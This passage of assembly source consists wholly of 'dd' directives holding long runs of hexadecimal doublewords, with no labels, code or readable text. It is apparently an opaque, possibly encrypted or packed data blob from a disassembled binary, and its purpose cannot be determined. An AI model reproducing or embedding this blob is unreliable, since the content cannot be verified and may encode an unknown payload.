0FF09128Bh, 2BFC385Fh dd 0DE3B09DFh, 0BF50E37Dh, 50DA26BFh, 5FA5011h, 0F04284F8h dd 0F216F621h, 5AC9E484h, 28779C3Ah, 95AD2B6h, 0E9A2E44Eh dd 68833FEBh, 0F75561CFh, 4E23A504h, 581465CAh, 338323B8h dd 50888C0h, 483D22A1h, 0F23B7C9Bh, 10248339h, 0BC8BE56h dd 511675B5h, 0E5BE3A5Ch, 414180Bh, 0A256A22Ch, 915E5942h dd 292B1C6Ch, 0E419D641h, 0F7261415h, 2E5F9B50h, 94CC5539h dd 893D5CF8h, 0B80C285Ch, 75120110h, 41521E24h, 696B8131h dd 0EB20ECE9h, 8F48B5F8h, 1C95E4B5h, 0A2804EF9h, 5E186BCCh dd 0B71234B7h, 0C04F7BA2h, 7F74C2D2h, 658336E8h, 993A0849h dd 1E893BE7h, 0B211527Dh, 1936583Ch, 0C6CA38BAh, 0A8683C13h dd 594A3A41h, 0AF7E7DA7h, 0DF107621h, 6F72562Bh, 0BB8492DAh dd 11BA5480h, 0A632C54Ch, 0B756E454h, 70F7E888h, 753A3959h dd 202973F0h, 5C251B56h, 34E86477h, 3FA54B3Dh, 0E30B647h dd 0E1390D69h, 51B2F639h, 0BF2A0870h, 0A8C2F730h, 74FCB4BBh dd 90D1BAE2h, 0B53FCE60h, 2C6ACE3h, 0E647589Fh, 0FD5CD737h dd 8E26198h, 0DC6E1C74h, 0DB45934h, 9A9854A8h, 385F119Fh dd 480AEB11h, 725A800Ch, 0C5F0D298h, 1FC78313h, 0BB485BCAh dd 0B67A8E2h, 0FE050C09h dd 14D7E957h, 0FD382476h, 95FC5A2h, 96025685h, 0F50E02A0h dd 2DBC35DAh, 0C4351C45h, 24155306h, 0C63B2D0Dh, 840F1C40h dd 21045D28h, 25026A2Ah, 9E77EE8Ah, 0C73B30D7h, 5D73EC46h dd 709C19A4h, 0AC41FA99h, 0E211F9D6h, 394AD075h, 98551A12h dd 86FD3C68h, 88D3877h, 0BC71FAF4h, 33B22F69h, 0BB70EFCEh dd 7A07D025h, 251B738h, 0E09612A4h, 3C249834h, 29E5CFEFh dd 9A498908h, 8089ACB7h, 8453912Ch, 501174CCh, 0DB71A16Dh dd 0DC5ECAB3h, 8C9F7842h, 0B5EC5D08h, 3B0B74E6h, 0D42273FBh dd 9E69BC11h, 544288F5h, 0E016F9EEh, 0E22EC7FDh, 7DCC9EE6h dd 1EC8AE08h, 3A3B0574h, 14A7793h, 8B01C07Dh, 68D061C7h dd 505024FCh, 64A282C9h, 10EB02FAh, 2445129Ch, 0F84A8ABEh dd 7505C984h, 9CDC1996h, 0F85F5E4h, 895A2787h, 440570A9h dd 496E7401h, 0FF44A6B7h, 79808C22h, 9AE45C89h, 0A8F94E73h dd 596EE50Dh, 57965656h, 0FC35721Fh, 0F7EB223Ah, 0BAEF1F1h dd 0EDCA41C7h, 55859A7Dh, 0AFDCD118h, 6FE483A1h, 8AAEEEA0h dd 143AD713h, 0B52E415Fh, 6A6D21ABh, 507BA4B2h, 2DDC0B7Dh dd 1B56400Dh, 562DFE2Bh, 50353317h, 42773642h, 682B611Bh dd 8F2FF994h, 0AA0F4903h, 1C4FC60h, 8C63BF59h, 0F25C7589h dd 0EE836E05h, 8D7AB750h, 0D9D58848h, 7F3744A0h, 1E376489h dd 9FD12446h, 1BEA840h, 44661782h, 0FED36E24h, 263ED13Dh dd 3C33333Ah, 56F4CDE2h, 0CCFC5F24h, 3EE9F847h, 99DF22F3h dd 5FC3544h, 1C5738BBh, 12BD8928h, 85C749C7h, 0B27A870Dh dd 660103F0h, 1424B589h, 30505F1Bh, 901EEE9Dh, 0CF96A528h dd 22205F68h, 21E6C066h, 0EA127529h, 684BB872h, 0EBBCA884h dd 4B1AB10Ch, 9C1CBB12h, 587C3EB3h, 0FDD7EF59h, 0B4485846h dd 0EBD175BAh, 0C933AE04h, 308DEB0h, 158A107Eh, 240EFBF2h dd 0AC011430h, 4A7C213Bh, 5C2B32F0h, 7F499174h, 0BEE47104h dd 18B3DA85h, 9FD38562h, 0EA7EC0B2h, 0BC891DC4h, 0D3AE822Bh dd 0B7BB365Fh, 5EAC90C8h, 90F87AD6h, 0BEFA75B3h, 8C6AFD39h dd 0EE86B845h, 8FE6B7D8h, 0F3DC7D27h, 65A893E5h, 9764BE6Bh dd 0AC8FC8B8h, 2C9A37F4h, 3A6F598Ah, 847C24D2h, 887CC045h dd 25821429h, 358B5940h, 0D697B4B1h, 7459C997h, 80C706AAh dd 502ABDB0h, 40DA9C5h, 19A36424h, 57088C11h, 174A7626h dd 882EE915h, 672B1D0Ch, 7E0B43F4h, 0EB917D1Dh, 0F7160B08h dd 0C43FFC60h, 81FE460Bh, 7A32E333h, 18B0F8C8h, 71F8EB01h dd 7BBD10B8h, 0C62B084h, 571D4856h, 0BB392C74h, 7EB3CF07h dd 5EBDB85Bh, 0D8BCD316h, 1144B7D2h, 974A1127h, 3E07008h dd 6A2DDAEBh, 58F7FE06h, 0A595F08Bh, 0C2ACF773h, 53C0740Bh dd 256615DFh, 688BFCF1h, 0F9947F87h, 0B8EDADD2h, 7157C95Ah dd 2BE02FF6h, 41F997F0h, 5E600B69h, 227F6BECh, 16FAE0C9h dd 13A51781h, 4A2083BEh, 0DFC68239h, 0D225DD59h, 1F2C53DEh dd 80188622h, 0C33F2BDh, 7E7D6075h, 0FB2C6818h, 416815B6h dd 95687462h, 81BA2038h, 90FE74B7h, 5B750236h, 48AE0D47h dd 7D27196Bh, 9E025AFh, 0C800FFC7h, 2CFE810Ch, 9D38A0B5h dd 64EB43C3h, 2F5C4F20h, 0C71CF624h, 905F7A8Bh, 5BC385ACh dd 33E5BAB1h, 5057CB6Fh, 70B650D2h, 86B20CE5h, 7D04F786h dd 79FE2FD3h, 0BA10053Eh, 0BC4EC18Bh, 61B8E45Ah, 4788BFC5h dd 76057584h, 7EFB0F80h, 54BE8BDCh, 522BA6FAh, 106E44F0h dd 0E35BA73h, 0C97C23B4h, 3FF4564Fh, 9018F4EFh, 6857E08Ch dd 77FB5C70h, 8D9514E2h, 18138248h, 56127E52h, 2B839FBh dd 7BCA8BA0h, 0D1F09564h, 0BD26B00h, 2301C281h, 0A9675E45h dd 50890AEEh, 47001208h, 5477EA81h, 20BACC32h, 73840C23h dd 61C93325h, 4D760228h, 3576C136h, 4806C52Eh, 3A64E314h dd 56FAF740h, 0DBDCA4F3h, 0ECA90E17h, 3C8D0304h, 3F5A80D1h dd 737AF93Bh, 0C046FF30h, 63E89CAh, 11DE9C1h, 4A5E154Eh dd 0C5BAEB0h, 55895342h, 0C2F4DC8h, 83F36040h, 18AECF8h dd 64C8809h, 343E7517h, 1A5F4688h, 0F5F99C0h, 0FF5801B6h dd 708AD233h, 0FE7ECF01h, 63ED044Fh, 0FA27D332h, 0C78909A4h dd 4F0480D6h, 0AEB5DC75h, 31BB9699h, 2F44761Bh, 780F9D16h dd 0AB75A24Dh, 45F6F15Bh, 6BACE944h, 64A27026h, 8771EE59h dd 0A138F430h, 0F7FBF0D3h, 0FE23D71Bh, 11FA3B1Eh, 580BF39Eh dd 0B48D2403h, 0A4781706h, 0E432D76Ah, 0EAC11CD6h, 7E6C719h dd 70838F0Bh, 0CE5A0304h, 0F20778ACh, 0EEF7FA23h, 0DB0B5A99h dd 30C79D8h, 0BC8D22C0h, 3EB75637h, 9FFFE8C7h, 0E766570Eh dd 78582F0Ch, 0AEF233B9h, 7AFEC3D4h, 8AB5D95Eh, 0BDAD0DEh dd 2E590CCDh, 9C8D2A80h, 2070DB3Bh, 0C1B42461h, 0E3CC0FEFh dd 582FCD11h, 5D52978Ah, 23DF3303h, 6CD38BF7h, 0DE867252h dd 0F3210365h, 335CA358h, 0BDCE1AEEh, 830718C1h, 0AEB6116h dd 0F703E00Bh, 51FE9BCCh, 0DF80A15Dh, 5C10D298h, 8DF003BCh dd 0AF1A9403h, 72F57C0Fh, 0ACFA6834h, 78E210AEh, 146B50F8h dd 307CFCADh, 0D2F7DFFEh, 920CE5E9h, 261FC052h, 60036CB3h dd 2A13AA28h, 477D87C6h, 8DB44FFh, 2E30E3B1h, 50031858h dd 0F1E083D7h, 0DB81FAA8h, 0BF3C4B9h, 368DDDFh, 5802E086h dd 3046131Ah, 0AF1B12A8h, 86D80C6h, 0FA9E494Eh, 2109647Dh dd 811C1484h, 80CCBA64h, 95011E32h, 38FD4634h, 4005F614h dd 0C783EEACh, 309E8CAh, 1A030AFAh, 32A284A2h, 0C44E0C8Ch dd 8403C2A2h, 284403C0h, 9811D8D9h, 0EE286980h, 8AE341B1h dd 0DC24582Eh, 0D0578420h, 43051DFh, 0D0810861h, 0F7AF1F04h dd 3024B685h, 0D78AAD37h, 0A7E1E83Eh, 42C45D43h, 28218156h dd 543C012h, 8DFF5BB1h, 8806E354h, 8B11100Fh, 40A622Ch dd 79CD8D5h, 2A5D91D6h, 0D8C44006h, 22D7BE88h, 0E248895Ch dd 7EDAD05Bh, 0D2A2DAF8h, 30505B96h, 0D7A8C456h, 90211122h dd 34EF936Bh, 34D74809h, 0C28DC44h, 840D4A4h, 719388DCh dd 21FD9821h, 9DADAAABh, 0AC2030D1h, 44DE5576h, 0D6AA235Fh dd 387CDE66h, 3C83624h, 60C07010h, 79438E1Eh, 0F4084A6h dd 6D40F011h, 0A75C673Ch, 3287FE9Bh, 88430C4Ah, 0B09A7275h dd 0B28C7F0h, 2AD062C3h, 21021EE4h, 0A249B40Fh, 84E0C1C2h dd 3D1EEAB4h, 0C603B462h, 0D84AD78Eh, 3E35A4D6h, 17028CCDh dd 0F61E2562h, 1B3CEF8Ch, 53C8790h, 54014B0Bh, 0F823D003h dd 5D228033h, 7240E044h, 20C042B3h, 0D8094417h, 56F50355h dd 50D04852h, 0D87350F9h, 5A51F4A8h, 0F2265E29h, 0E221210h dd 5346F249h, 2BA549C2h, 24A6EFDAh, 0AA308400h, 0FAE9B6C7h dd 0EF48D0F0h, 2DF1E820h, 65C348B1h, 0B910C7DCh, 0F4FA7AB1h dd 105DAEA8h, 50D62F22h, 82E28DE8h, 1FD7AE05h, 4588A4ADh dd 72B312D8h, 5320C08Dh, 84024414h, 0C8849086h, 5590D054h dd 0DA260582h, 3F69010h, 0E6811FBCh, 0D522F5A1h, 4D0E0412h dd 593272F8h, 0B48B7D26h, 0BCDA724Ch, 0C83EB783h, 17E7D3D9h dd 0EE10904Ah, 5879BA78h, 0A93AB03h, 0B7B4DFB1h, 41D0F594h dd 0E1CDE6B3h, 84EE1221h, 0B310E092h, 0CAB2C229h, 1DC86563h dd 7D64690h, 44FF1A37h, 149036B5h, 52C613A1h, 0DE044590h dd 0CAD88992h, 876A489Ah, 0F4D5290Dh, 221210D8h, 72D6650Eh dd 4668908h, 0DEB40A90h, 90E8E4DAh, 5A14ED8Ch, 0A1E24544h dd 8907EF90h, 0DB0FD192h dd 948E76F2h, 0B3A8DCFEh, 0E322E905h, 90EF50A9h, 0B30582E6h dd 97B23DF0h, 3040758Dh, 0EFA3F833h, 212599FCh, 2CC9A190h dd 0B656A428h, 2AB15048h, 84007B26h, 6F02D918h, 40D6A467h dd 0C7890E12h, 0D7144735h, 4E499513h, 0C48C11DFh, 2A4C8A10h dd 84E012EDh, 4812EA8Dh, 330E083Ah, 92D04BD6h, 42AA0011h dd 88FFFA39h, 3D901CEAh, 0FEAA0454h, 0EE72A9A3h, 0E8A3FA50h dd 334886AAh, 7121F681h, 20151087h, 82FF920Bh, 79200ACBh dd 2241D864h, 116D9D61h, 0C64710EFh, 0FB030538h, 0F3418333h dd 0F136C5A4h, 0C72401Eh, 0FD44E538h, 0E8BFA1E6h, 0F7E00504h dd 0ECB44933h, 0EA444420h, 83D4A4BEh, 131C8847h, 631F6404h dd 3E02BC92h, 0DECFA913h, 8CEC894Bh, 82E2E69Ah, 20FFF40Ah dd 1F5AD0F4h, 1702CC88h, 61BB4B60h, 7242FAE7h, 26100FE2h dd 0D3A00D31h, 53401E82h, 700916B4h, 41BEBFBCh, 0E890E2BBh dd 99978EEh, 958FD714h, 0C6300171h, 8B289B7Eh, 0E67484D6h dd 0F70D7D1Fh, 0C934C203h, 50D032F0h, 2710FA6Ah, 0E790EAA1h dd 498C14D3h, 1C89DE10h, 0F6A4DA33h, 85860069h, 98D4EF30h dd 2093830Fh, 1790E7E8h, 0AA31DE2Ch, 52A2D8B9h, 805A4C0Ch dd 1D053ABCh, 0F0044888h, 9111788h, 0B2A8D38Dh, 3D03A80h dd 0D4A93938h, 29A21D9h, 50FE779h, 5608C203h, 0E51E00C4h dd 8BE6DB99h, 78F78FCAh, 8978E710h, 546EA0FEh, 777BE449h dd 1FA27C10h, 0C1391088h, 38AC1E35h, 3E0C9499h, 8246D424h dd 0C4AC5665h, 76FA3E86h, 3CEAECC8h, 0FB268D4Dh, 33FC328Ch dd 0A49AAB50h, 22441009h, 0D0AB8629h, 0FA1A4836h, 2E0B061Eh dd 1EC393E5h, 9FA341Ah, 0B4404581h, 0FF129706h, 0E22432Ah dd 640A0416h, 0A5157F85h, 41094BBh, 0AB9423A7h, 0F041122h dd 82F07ACCh, 7B097342h, 391F3420h, 0FC4993A0h, 0BEF190Fh dd 3228153Ch, 0B060B041h, 33A2A1D7h, 0D7444038h, 59C3093Ah dd 5291655Bh, 1906021Ah, 0D63DA0D3h, 4B50FB41h, 24CC9238h dd 440D8F0Ch, 200A0816h, 3CF1DAE0h, 0C0677246h, 5F593E3Ch dd 4410300Ah, 200F0811h, 3CF1D9DCh, 221222FEh, 5DD108ECh dd 0E78E8584h, 0BEB6515h, 0A9FE498Ch, 5732DF96h, 1A57004Ah dd 6FA87E4Fh, 0E3354EBAh, 4E89F706h, 90F438A0h, 0C434A240h dd 189C0249h, 0FE2CE6E0h, 0AE3DCC8h, 0DC33F7D3h, 0D87924C2h dd 0EB1025A3h, 4314141Eh, 0F9F0A301h, 0A1FDD70h, 4E0811A1h dd 0BC447478h, 537E3F82h, 0E3F012C5h, 0ECB4F10Dh, 0D878223Ch dd 0F235A1C8h, 64BD3A36h, 0E0F08172h, 0A1248B07h, 0C38690DAh dd 0D481C233h, 0D7D2BB10h, 11202A42h, 7E420F45h, 5C8646C3h dd 0BC80B3F3h, 86D39137h, 318BEB1Fh, 4E0EF212h, 5C08D389h dd 3F0B1015h, 4518B5Fh, 89A5065Eh, 0BA8B790Ch, 6D41EA56h dd 0EB1A680Ch, 53B7109Eh, 9140967Fh, 0ED386A79h, 0D5A16F06h dd 0CCA11C3Bh, 3C0FC4Dh, 590F7EB4h, 77C0F3Bh, 2B70786Ah dd 125157C8h, 0AEFB9068h, 0B275D731h, 67D10C02h, 0E4741AFh dd 78B60F10h, 0D7F16DB4h, 9FA2795h, 0F56D244Fh, 1D973F59h dd 50827E37h, 0B76FD157h, 6A8A3E82h, 5ECF0091h, 88118A5Fh dd 40C25048h, 878EACFh, 0D7071051h, 19011E21h, 0B0021018h dd 754EA579h, 0E494B4DBh, 0B888AF68h, 20985B45h, 0FF6C75D7h dd 645362E7h, 0B2335721h, 7F091540h, 0BE842E4Ah, 6E8CC9ABh dd 9003F074h, 0BF03544h, 0FBD068F8h, 44B704D3h, 0FE474637h dd 0F6E57272h, 0A8C50E4h, 0B5DB3388h, 0B3421EC2h, 9738F47Ch dd 4CC74081h, 0DA4B6477h, 89DCE16Fh, 0D2F48A25h, 50B5D452h dd 0A02FD8A3h, 0B1E2654Bh, 2A252C0Dh, 92C02448h, 845DAE68h dd 41FC3444h, 88D88FAh, 0C3BA141h, 3D0F0472h, 4694025Ah dd 0DC4A0EF8h, 0F74E7C4Ah, 0FBD788E6h, 850F0F20h, 50045FE4h dd 834B1DDFh, 1B5AD1D7h, 66784CFCh, 213C1F7Dh, 612AC145h dd 9FC109Eh, 148C712Ah, 955308FDh, 0CC22AF3h, 0F90F2CFAh dd 25495389h, 0F985B07Ch, 1AFCE10Eh, 7C680A1Fh, 780B32FEh dd 29EAECF6h, 3E63ABD7h, 0BC4A3752h, 1C6CD846h, 0DBA454BEh dd 8BC05085h, 2F0141A7h, 0FDFB39B0h, 0A0413102h, 1CF32EFFh dd 59043F7Fh, 39712327h, 5601C2BAh, 8861C280h, 47334297h dd 0B1C021BAh, 0BFA5DD72h, 0FE981031h, 0D6746801h, 129BCD57h dd 0E12ABE98h, 8BE19823h, 42DBD83Dh, 532B180Ch, 3EE3ADA3h dd 0E1D73C2Fh, 0B32E38FDh, 0F2A84FF3h, 74208098h, 7E0A056Eh dd 98682384h, 0BD8B16FEh, 0CA84970Fh, 0EBDC3F7Dh, 977AA6C2h dd 591CF122h, 76A0D90h, 10F272A6h, 0A5F0E5B7h, 3E9C34C9h dd 34B82A84h, 0B4FE7DB3h, 927BA84Ch, 0CC2F53ECh, 64B5CC50h dd 0FD22E19Ch, 0DE667E48h, 0FC42E310h, 5169A171h, 0F88F65Dh dd 681CF574h, 14E5FD69h, 9CB68CAEh, 5B7D27E9h, 84CE50C6h dd 19DCD428h, 824CB9B4h, 96C86828h, 0FE899DCCh, 0E4665371h dd 0F519970Ah, 1D6C3653h, 0A2533D83h, 7E02B000h, 0C2A4A143h dd 470FF11h, 8B3F1857h, 4D6A7CF8h, 0BF929D57h, 2040A964h dd 74085839h, 0F11C9519h, 6953586h, 0A71DF812h, 0FB0C08BAh dd 420F9054h, 101534ECh, 0D9688BAh, 1F8224A4h, 289C435Dh dd 0E31DFC2Ah, 0FDB4394Ch, 0CC586417h, 0F1959C75h, 3ADD4B83h dd 205FD617h, 276EE5F0h, 0E0028D5Fh, 4EDFFDE0h, 8096296Ch dd 324164E3h, 9073A62Eh, 976510Eh, 6570AD5Ah, 61652D6Dh dd 82183432h, 7FFDBC63h, 24345B47h, 52D10DDCh, 8D4E0DD6h dd 0B662088h, 58E41283h, 9283E9C5h, 457FCD63h, 0E4D5B022h dd 1D89F764h, 0ADA2501Dh, 0A162ED56h, 6AD2A0D8h, 0F364BF3Fh dd 7068228Dh, 0AE13E43h, 2EA61C19h, 5A17202Ah, 0A46CB878h dd 7848D70Ch, 0A94A8A38h, 44220DAAh, 9041E816h, 715825A4h dd 310797D7h, 442CEB3Dh, 4C6848F0h, 61BB85C2h, 1B7202C0h dd 20BE841Ch, 74173954h, 4DFF0301h, 271068FCh, 45CFFF22h dd 642A0D7h, 0CA77C36h, 9552C858h, 74D0024Bh, 8DB9B440h dd 72AE21B3h, 244AA936h, 0D1E00D12h, 38AC0D84h, 922F801Dh dd 3DF149A2h, 88C799BEh, 2B94C4DCh, 85499C23h, 7489F41Ah dd 97EC5014h, 27D8FEE4h, 54469D10h, 0D404B425h, 0C595145h dd 0DB33886Ch, 2DA5F324h, 6080C784h, 0BED465EFh, 0DF53FC22h dd 0C010FB95h, 202CBAE4h, 0FC024A3Fh, 2DF08993h, 6D3A7737h dd 0C8D496C7h, 0A262C7E3h, 357EB089h, 0B2AAAFB4h, 8F66D962h dd 2CCA1C08h, 0F86E6DD0h, 5135FF17h, 0CC3BF0F8h, 7A19D1EEh dd 8B61B6Ah, 548B8F2h, 0E78BD7F0h, 85282B06h, 24BB689Eh dd 6A411341h, 0B22B39C2h, 91054ACDh, 31AED184h, 6FE03F44h dd 0D9C418A4h, 654C581Bh, 3EE62A0Fh, 0D74912D0h, 0CEA2BD73h dd 8414FEACh, 480C8011h, 6B52BF0Bh, 0B33B1041h, 452A43A1h dd 5C189743h, 0B589CC20h, 920FDD54h, 6A64EA9Dh, 49039616h dd 0A846827h, 60BD8997h, 0F60B4913h, 5885B810h, 27EB4FD2h dd 2031AAE6h, 76683DEEh, 0E247FCCFh, 0FF1F898Dh, 124A4A3Ch dd 0FE22D9E8h, 7BE80A5Ah, 0EAC4D5E7h, 0EDDF6A29h, 0A7300748h dd 65BF1AD0h, 0AFF01E5Bh, 8832D8CCh, 8920F002h, 6FC655BFh dd 2767C384h, 1F48337h, 0A00BBBECh, 96550DBBh, 0E685301Dh dd 1774022Ah, 2A400AAAh, 565A19EBh, 3F0FD98Ah, 0F897332Bh dd 0C78BA161h, 0C2D4A26Eh, 751A8CB8h, 0C1A7B845h, 196E03A0h dd 5044F699h, 188859C4h dd 9F2B4495h, 0D3416762h, 58416248h, 0D40741F0h, 0F9B7FF0Ch dd 0AE86452Dh, 7B64FD89h, 44535CE4h, 0E81A1889h, 0A5BE67A8h dd 14613C5Eh, 0AB29F068h, 0D6952FA6h, 1E4E7BC9h, 0F8333BDAh dd 1D461B16h, 67C44FB7h, 0F95BACCAh, 75BE8B5Dh, 0E574AA18h dd 0A32B5681h, 4111D0F6h, 2C4808BFh, 4E84F78Ah, 2902B3CDh dd 2C201D50h, 0DC433925h, 2FC6571h, 0B57E18E2h, 1F0B2EC2h dd 6A32B7F4h, 4C445724h, 235CFB9Fh, 209733FCh, 0A63CBFECh dd 8983C637h, 2C2DDA7Bh, 0F3174048h, 0BCD6957Eh, 0D83BD78h dd 2574FDFEh, 1CAADB0Ah, 4F09A509h, 1845FA21h, 8B9BE03Ah dd 0E03B0CCCh, 9199497Ch, 0D8B2881Ah, 92CCC355h, 0AD0C8558h dd 4150C08Ch, 0BAB6050Eh, 7A5E7325h, 0FA88F471h, 0C7271C22h dd 316EDD1h, 0F08904F8h, 1B588F86h, 8C2DAFB7h, 8A3818FCh dd 1B984E59h, 0D4F9D45Ch, 424C731Dh, 0BD869BA7h, 4C6CF808h dd 5AB09571h, 8A5AB2F3h, 56440E4Eh, 425A8ABFh, 2C694C10h dd 0F2C27E1Dh, 2167D6A0h, 0F0FEA224h, 322E93F1h, 285FBE50h dd 7D491107h, 344B8594h, 6B5992E3h, 0B4760D69h, 42668A42h dd 891D218Ah, 0F2515907h, 0B8F74DFFh, 518BED75h, 284526B5h dd 0DD45AFA8h, 2E06FD21h, 28B04518h, 25BC91B3h, 0D0B77CF8h dd 6A13E44Dh, 3C35A1Fh, 0BE9C8Bh, 38802646h, 2974752Dh dd 99025824h, 1840F14h, 0C6198901h, 30473584h, 0E4956AAh dd 78584F96h, 4A0206h, 3B04E983h, 38CC7DD3h, 9479D24h dd 0F63058A5h, 4216C8F8h, 2F890644h, 3D80FCF8h, 358B0A3Eh dd 0A62F7F6Ah, 0FCD1C2D5h, 16D2462Eh, 0A475FB17h, 91CF0E77h dd 0E5A1C023h, 39BC2013h, 0E55C1F6Bh, 0F32B3559h, 7AC63216h dd 495CE34Fh, 0FD481435h, 2941A9F5h, 10E4169Ch, 0E28CE492h dd 98352C0Ah, 6288D98h, 0C83F3020h, 1BF1942Ah, 178D900Ch dd 8C7D0A75h, 74B50956h, 0A889F532h, 4AE8BF13h, 9F5A6840h dd 1E10D425h, 36EBC6C0h, 0C4884670h, 76A3532Fh, 93451C49h dd 1D989232h, 0BCAF7C68h, 0A822072Ch, 0CC278D3Bh, 12CA53EBh dd 65FB148Ch, 743016F4h, 0A513178h, 0C2C93FC7h, 3124D29h dd 75E145F7h, 74DB28DCh, 0D734BA8Dh, 2C4E4945h, 1E38BE90h dd 0A983D8A1h, 9A528311h, 627ADE71h, 665D3967h, 0E65F56AEh dd 7A909853h, 411247CAh, 66501E88h, 44681A1Dh, 886775E2h dd 0CEA514A0h, 0DE34680Ah, 8E375F7Bh, 0B714298Ah, 0D40F2C0Bh dd 0AC6A68A4h, 4566A1ABh, 8918EC1Bh, 89C82228h, 4BCA4518h dd 0ECE8DB7Ch, 41E12C11h, 0BAC91501h, 5440F212h, 68B126E0h dd 713F29FAh, 6A13483Ah, 178F2152h, 8560A0FAh, 0D8237414h dd 27E5ACCh, 4006C632h, 0DDAA9947h, 57257272h, 104E9977h dd 6F5C8C21h, 0AC752B08h, 0FE2625E2h, 0E898116Dh, 0AC642C40h dd 6132A5C5h, 0A30F6A15h, 6C28DFB1h, 0EAC69Fh, 7D8B248Dh dd 38F63320h, 13741F15h, 5857C89Eh, 46141174h, 586BC781h dd 7C030ABAh, 0AFA12DDDh, 0F25AC9D2h, 0C3A63F6Ch, 0AF88B2Ah dd 0F4B00377h, 0E19F7EFCh, 0B52CD5BEh, 92CBF1D3h, 1104033Bh dd 2E922468h, 0BE37DB56h, 639BFAADh, 0CC599CE4h, 6B552481h dd 0D21C5608h, 6F228D0Dh, 436B0E1h, 12A2BA90h, 8793C65Dh dd 0F25A90B9h, 24A1CCDEh, 0F2A41868h, 34D3D37Ah, 0E65B21BDh dd 38EDD5D0h, 1D012BC7h, 1CEC6885h, 0C26A3743h, 2F988C59h dd 0CA205445h, 61C2488h, 7D38E95Fh, 24851CBCh, 7B1AD25Fh dd 0E4BFC916h, 0C3F8C987h, 271925E2h, 8934288Bh, 5A2B240h dd 34221961h, 0A49EF6BEh, 0B1D1EB29h, 381AD721h, 53E93C39h dd 0B8156226h, 0E0B1DD1Ch, 35D96D3Ah, 9C0D6FE4h, 260819D4h dd 0E555B956h, 4EE3511Fh, 94C2CE6h, 0B974C8B9h, 13FEA4F6h dd 3389046Ah, 0B5BA5EC7h, 0F980785Ah, 8C258B02h, 84E51135h dd 0E790748h, 8A388901h, 0F2053A83h, 7D37D77Ah, 0FC36F4E8h dd 3F0B9CA5h, 17868FD6h, 0B428AF03h, 3B136E35h, 801989F3h dd 4F92C1D2h, 9FBFC939h, 3225B53Ch, 0E4C7B264h, 0F08B2F69h dd 466554D4h, 0B4090E5Fh, 92824E1Ch, 7C6090BEh, 41FC2468h dd 11205151h, 0B855D184h, 0C5579062h, 1C8C8BF3h, 1456AD34h dd 0BC8D7117h, 3409B05Ah, 0E5B525D4h, 0A431C117h, 1F2233CAh dd 2B0775A1h, 0B908EE64h, 0D4844770h, 0CB0442FBh, 27112841h dd 5672185Eh, 0CA93A2Bh, 2C412B72h, 0C966CCCCh, 618DFC8Bh dd 794ACD46h, 34334E18h, 0DA3CD9ABh, 862CB873h, 0F5E4B826h dd 419FC4FBh, 1BDEF78Eh, 0FFE12AF6h, 2AEB8458h, 0EC088B06h dd 64489CBCh, 0AB740DFBh, 6F287442h, 0FE500C03h, 7CA08D49h dd 23383980h, 48A1A574h, 24048B65h, 993AE485h, 0FC64F038h dd 0C496851h, 6F10B20Ah, 1BF008D0h, 0B64FD474h, 532B5CA7h dd 58BD1CA4h, 94684A06h, 21C2CEB3h, 0FE94A014h, 5931881Bh dd 0BC30C2E1h, 238489FDh, 403A5857h, 4FFFADB8h, 9E1E64A3h dd 0D0169751h, 0A009741Bh, 0AEA9E02Bh, 570E868Bh, 24B330FFh dd 63862FD5h, 220E834Fh, 947D8104h, 0E27284CAh, 9CB2F69Eh dd 0EF906790h, 8CAA46B9h, 552C8181h, 754F81CCh, 480F3913h dd 93B9762h, 4ACD421h, 0FAECBACh, 56507FC1h, 0F9D35329h dd 689D7B40h, 0D2746893h, 3D1975C2h, 29900A18h, 8F097E44h dd 4C4F330Dh, 18F8C866h, 6F5D3744h, 82701230h, 5FFD901Dh dd 0F2101C27h, 11D59B8Eh, 4D2E2868h, 0E27A5755h, 90C3A99Ch dd 348B1045h, 0EF388106h, 53B8445h, 0DC7C3206h, 3D952DD5h dd 0BADFD509h, 0A02F7156h, 82F9EAF1h, 8A10FF01h, 3EBF620Dh dd 88335069h, 0F024829h, 8D031230h, 0C370698Fh, 49F53C4h dd 0A3E65140h, 0A835440Ah, 12FCB4E8h, 2DD58987h, 25105F1Bh dd 9E3C89BDh, 645C5E34h, 93E7E9BCh, 42A149BFh, 30395B41h dd 8D283B7Bh, 2984B887h, 114F390h, 31B5F445h, 70FF335Bh dd 0C9E2873Eh, 478ACBE5h, 38794450h, 0EB2F456Ah, 75424532h dd 6A1B212Bh, 4CA23E02h, 12619646h, 4AEE5D88h, 0EB188F34h dd 6DD0004Dh, 92390428h, 528F3436h, 5FBF2439h, 48B0A2BCh dd 3811BB87h, 8B2D19F8h, 137D8507h, 6040942Fh, 7F5FA1EFh dd 5A85C7F8h, 0B0A6438h, 7F8E8A7h, 18948A70h, 0E50A0A6Bh dd 31663817h, 1A5D913Bh, 4432DD34h, 2C141245h, 3798B414h dd 13245268h, 4E7B53CAh, 0D19F88F3h, 18607A64h, 4088033Dh dd 681C160Ah, 0EF5B1310h, 0C51B1B7Dh, 8F1FE67h, 0BEEA1821h dd 0D9020C12h, 94046A05h, 0CA849ED8h, 75046412h, 281CF5A4h dd 1414BD80h, 9097C30h, 167E3980h, 28A6036Ah, 0FE231DE1h dd 0E8934842h, 127E85ACh, 88FD1139h, 11D9A521h, 6000323Bh dd 8080CD7Eh, 558820C2h, 0A123A4ECh, 1236EDBEh, 29109440h dd 49ED0C6Ah, 402A9BFFh, 0AE06A624h, 0A54C9AA4h, 528FA9F2h dd 304CF43Eh, 68D084F7h, 0C3789289h, 41E69FD7h, 0A4D6791Ah dd 51AB0C25h, 99D7FBE3h, 2413DAD2h, 0A43020A2h, 1F18083Ch dd 534324A2h, 462AB55Ah, 0DFBC3447h, 1891801h, 2239E575h dd 38CB3BB1h, 7DF53082h, 298903C1h, 2D148B08h, 1A51B1D8h dd 9C9BA5A9h, 32E9207Ah, 0EC68DC88h, 0FC681A5Eh, 4717A6D2h dd 0E49988E0h, 8E8278D8h, 7384CC47h, 3CC86231h, 0B8235C47h dd 0B47227C4h, 2310473Ch, 2D7541ACh, 0C1D738FFh, 0A068226Ah dd 8CB433BAh, 1599AB0Bh, 3E2DC421h, 9564D484h, 235C93Bh dd 42368040h, 680A8215h dd 115C1174h, 2842BEEBh, 0B041F54h, 34224868h, 28089611h dd 0A218908Dh, 421C211h, 0F7580428h, 29843B98h, 782B19F8h dd 0E8226812h, 87D47519h, 13F8C890h, 11BC6821h, 349CA2A8h dd 3E270F74h, 56EC9401h, 129FD656h, 56157C01h, 1E23CCADh dd 42D3ACE9h, 9068280Fh, 0A78456Fh, 680EC23Fh, 541E846Ch dd 0F3F453Ah, 0B43F42D9h, 